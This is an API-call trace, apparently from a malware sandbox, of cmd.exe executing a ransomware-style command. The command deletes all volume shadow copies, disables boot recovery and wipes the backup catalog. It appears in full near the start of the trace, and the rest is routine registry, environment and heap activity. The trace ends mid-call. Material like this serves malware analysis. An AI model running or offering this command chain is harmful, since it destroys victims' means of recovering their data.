RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1cee5c | out: phkResult=0x1cee5c*=0xcc) returned 0x0 [0147.700] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x0, lpData=0x1cee68*=0x40, lpcbData=0x1cee60*=0x1000) returned 0x2 [0147.700] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x4, lpData=0x1cee68*=0x1, lpcbData=0x1cee60*=0x4) returned 0x0 [0147.700] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x0, lpData=0x1cee68*=0x1, lpcbData=0x1cee60*=0x1000) returned 0x2 [0147.700] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x4, lpData=0x1cee68*=0x0, lpcbData=0x1cee60*=0x4) returned 0x0 [0147.700] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x4, lpData=0x1cee68*=0x9, lpcbData=0x1cee60*=0x4) returned 0x0 [0147.700] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x4, lpData=0x1cee68*=0x9, lpcbData=0x1cee60*=0x4) returned 0x0 [0147.700] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x0, lpData=0x1cee68*=0x9, lpcbData=0x1cee60*=0x1000) returned 0x2 [0147.700] RegCloseKey (hKey=0xcc) returned 0x0 [0147.700] time (in: timer=0x0 | out: timer=0x0) returned 0x5eac9493 [0147.700] srand (_Seed=0x5eac9493) [0147.700] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" [0147.700] malloc (_Size=0x4000) returned 0x9821f0 [0147.701] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" [0147.701] malloc (_Size=0xffce) returned 0x880048 [0147.701] ??_V@YAXPAX@Z () returned 0x1cfe40 [0147.702] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x880048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0148.013] malloc (_Size=0xffce) returned 0x890020 [0148.014] ??_V@YAXPAX@Z () returned 0x1cfc14 [0148.014] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x890020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0148.014] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0148.014] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0148.014] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0148.014] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0148.014] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0148.014] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0148.014] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0148.014] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0148.015] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0148.015] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0148.015] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0148.015] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0148.015] GetProcessHeap () returned 0x680000 [0148.015] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x685878) returned 1 [0148.015] GetEnvironmentStringsW () returned 0x684da0* [0148.015] GetProcessHeap () returned 0x680000 [0148.015] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xae2) returned 0x687918 [0148.015] FreeEnvironmentStringsA (penv="A") returned 1 [0148.015] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0148.015] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0148.015] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0148.015] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0148.015] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0148.016] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0148.016] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0148.016] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0148.016] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0148.016] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0148.016] malloc (_Size=0xffce) returned 0x89fff8 [0148.016] ??_V@YAXPAX@Z () returned 0x1cf9ac [0148.016] GetProcessHeap () returned 0x680000 [0148.017] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x38) returned 0x680ae0 [0148.017] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x89fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0148.017] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x89fff8, lpFilePart=0x1cf9f8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1cf9f8*="Desktop") returned 0x17 [0148.017] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0148.017] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf778 | out: lpFindFileData=0x1cf778*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x680b20 [0148.017] FindClose (in: hFindFile=0x680b20 | out: hFindFile=0x680b20) returned 1 [0148.018] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x1cf778 | out: lpFindFileData=0x1cf778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x680b20 [0148.018] FindClose (in: hFindFile=0x680b20 | out: hFindFile=0x680b20) returned 1 [0148.018] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x1cf778 | out: lpFindFileData=0x1cf778*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3f3b05fd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3f3b05fd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x680b20 [0148.018] FindClose (in: hFindFile=0x680b20 | out: hFindFile=0x680b20) returned 1 [0148.018] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0148.018] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0148.018] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0148.018] GetProcessHeap () returned 0x680000 [0148.018] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x687918) returned 1 [0148.018] GetEnvironmentStringsW () returned 0x684da0* [0148.018] GetProcessHeap () returned 0x680000 [0148.018] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb1a) returned 0x686e28 [0148.018] FreeEnvironmentStringsA (penv="=") returned 1 [0148.018] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x880048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0148.018] GetProcessHeap () returned 0x680000 [0148.018] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x680ae0) returned 1 [0148.018] ??_V@YAXPAX@Z () returned 0x1 [0148.019] ??_V@YAXPAX@Z () returned 0x1 [0148.019] GetProcessHeap () returned 0x680000 [0148.019] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x400e) returned 0x688f30 [0148.019] GetProcessHeap () returned 0x680000 [0148.019] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x196) returned 0x687950 [0148.019] GetProcessHeap () returned 0x680000 [0148.019] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x688f30) returned 1 [0148.019] GetConsoleOutputCP () returned 0x1b5 [0148.046] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xaa3850 | out: lpCPInfo=0xaa3850) returned 1 [0148.046] GetUserDefaultLCID () returned 0x409 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xa9f82c, cchData=8 | out: lpLCData=":") returned 2 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cfd68, cchData=128 | out: lpLCData="0") returned 2 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cfd68, cchData=128 | out: lpLCData="0") returned 2 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cfd68, cchData=128 | out: lpLCData="1") returned 2 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xa9f81c, cchData=8 | out: lpLCData="/") returned 2 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xa9f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xa9f778, cchData=32 | out: lpLCData="Tue") returned 4 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xa9f738, cchData=32 | out: lpLCData="Wed") returned 4 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xa9f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xa9f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xa9f678, cchData=32 | out: lpLCData="Sat") returned 4 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xa9f638, cchData=32 | out: lpLCData="Sun") returned 4 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xa9f80c, cchData=8 | out: lpLCData=".") returned 2 [0148.047] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xa9f7f8, cchData=8 | out: lpLCData=",") returned 2 [0148.047] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0148.049] GetProcessHeap () returned 0x680000 [0148.049] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20c) returned 0x687b38 [0148.049] GetConsoleTitleW (in: lpConsoleTitle=0x687b38, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0148.070] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000 [0148.070] GetProcAddress (hModule=0x772d0000, lpProcName="CopyFileExW") returned 0x772e4330 [0148.070] GetProcAddress (hModule=0x772d0000, lpProcName="IsDebuggerPresent") returned 0x772e5930 [0148.070] GetProcAddress (hModule=0x772d0000, lpProcName="SetConsoleInputExeNameW") returned 0x74d009d0 [0148.070] ??_V@YAXPAX@Z () returned 0x1 [0148.071] GetProcessHeap () returned 0x680000 [0148.071] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x400a) returned 0x688f30 [0148.071] GetProcessHeap () returned 0x680000 [0148.071] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x688f30) returned 1 [0148.071] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0148.071] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0148.071] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0148.072] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0148.072] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0148.072] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0148.072] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0148.072] GetProcessHeap () returned 0x680000 [0148.072] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x687d50 [0148.072] GetProcessHeap () returned 0x680000 [0148.072] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1a) returned 0x687db0 [0148.072] GetProcessHeap () returned 0x680000 [0148.072] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x42) returned 0x687dd8 [0148.073] GetProcessHeap () returned 0x680000 [0148.073] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x687e28 [0148.073] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0148.073] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0148.073] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0148.073] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0148.073] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0148.073] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0148.073] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0148.073] GetProcessHeap () returned 0x680000 [0148.073] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x687e88 [0148.073] GetProcessHeap () returned 0x680000 [0148.073] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x12) returned 0x687ee8 [0148.074] GetProcessHeap () returned 0x680000 [0148.074] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x30) returned 0x687f08 [0148.074] GetProcessHeap () returned 0x680000 [0148.075] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x687f40 [0148.075] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0148.075] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0148.075] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0148.075] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0148.075] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0148.075] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0148.075] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0148.075] GetProcessHeap () returned 0x680000 [0148.075] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x687fa0 [0148.075] GetProcessHeap () returned 0x680000 [0148.075] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x688000 [0148.076] GetProcessHeap () returned 0x680000 [0148.076] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x70) returned 0x688020 [0148.077] GetProcessHeap () returned 0x680000 [0148.077] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x688098 [0148.078] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0148.078] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0148.078] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0148.078] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0148.078] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0148.078] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0148.078] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0148.078] GetProcessHeap () returned 0x680000 [0148.078] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x6880f8 [0148.078] GetProcessHeap () returned 0x680000 [0148.078] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x688158 [0148.079] GetProcessHeap () returned 0x680000 [0148.079] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x50) returned 0x688178 [0148.079] GetProcessHeap () returned 0x680000 [0148.079] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x6881d0 [0148.080] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0148.080] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0148.080] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0148.080] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0148.080] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0148.080] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0148.080] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0148.080] GetProcessHeap () returned 0x680000 [0148.080] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x688230 [0148.080] GetProcessHeap () returned 0x680000 [0148.080] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x688290 [0148.081] GetProcessHeap () returned 0x680000 [0148.081] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x36) returned 0x6882b0 [0148.081] GetConsoleTitleW (in: lpConsoleTitle=0x1cfc00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0148.082] malloc (_Size=0xffce) returned 0x892718 [0148.082] ??_V@YAXPAX@Z () returned 0x1cf98c [0148.083] malloc (_Size=0xffce) returned 0x8a26f0 [0148.083] ??_V@YAXPAX@Z () returned 0x1cf744 [0148.084] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0148.085] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0148.085] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0148.085] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0148.085] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0148.085] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0148.085] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0148.085] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0148.085] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0148.085] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0148.085] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0148.085] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0148.085] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0148.085] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0148.085] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0148.085] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0148.085] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0148.086] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0148.086] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0148.086] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0148.086] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0148.086] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0148.086] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0148.086] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0148.086] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0148.086] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0148.086] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0148.086] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0148.086] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0148.086] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0148.086] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0148.086] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0148.086] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0148.086] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0148.086] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0148.086] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0148.086] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0148.086] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0148.086] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0148.086] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0148.086] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0148.086] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0148.086] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0148.086] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0148.086] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0148.086] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0148.087] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0148.087] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0148.087] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0148.087] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0148.087] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0148.087] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0148.087] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0148.087] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0148.087] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0148.087] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0148.087] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0148.087] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0148.087] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0148.087] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0148.087] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0148.087] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0148.087] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0148.087] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0148.087] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0148.087] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0148.087] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0148.087] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0148.087] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0148.087] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0148.087] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0148.087] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0148.087] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0148.087] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0148.087] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0148.087] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0148.088] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0148.088] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0148.088] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0148.088] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0148.088] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0148.088] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0148.088] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0148.088] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0148.088] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0148.088] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0148.088] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0148.088] ??_V@YAXPAX@Z () returned 0x1 [0148.088] GetProcessHeap () returned 0x680000 [0148.088] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xffd6) returned 0x688f30 [0148.089] GetProcessHeap () returned 0x680000 [0148.089] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x54) returned 0x6882f0 [0148.089] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0148.089] malloc (_Size=0xffce) returned 0x8a26f0 [0148.089] ??_V@YAXPAX@Z () returned 0x1cf4c4 [0148.090] GetProcessHeap () returned 0x680000 [0148.090] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1ffa4) returned 0x698f10 [0148.091] SetErrorMode (uMode=0x0) returned 0x0 [0148.091] SetErrorMode (uMode=0x1) returned 0x0 [0148.091] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x698f18, lpFilePart=0x1cf4e4 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1cf4e4*="Desktop") returned 0x17 [0148.091] SetErrorMode (uMode=0x0) returned 0x1 [0148.092] GetProcessHeap () returned 0x680000 [0148.092] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x698f10, Size=0x4a) returned 0x698f10 [0148.092] GetProcessHeap () returned 0x680000 [0148.092] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x698f10) returned 0x4a [0148.092] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0148.092] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0148.197] GetProcessHeap () returned 0x680000 [0148.197] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b4) returned 0x680ae0 [0148.197] GetProcessHeap () returned 0x680000 [0148.197] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x360) returned 0x680ca0 [0148.207] GetProcessHeap () returned 0x680000 [0148.207] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x680ca0, Size=0x1b6) returned 0x680ca0 [0148.207] GetProcessHeap () returned 0x680000 [0148.207] RtlSizeHeap 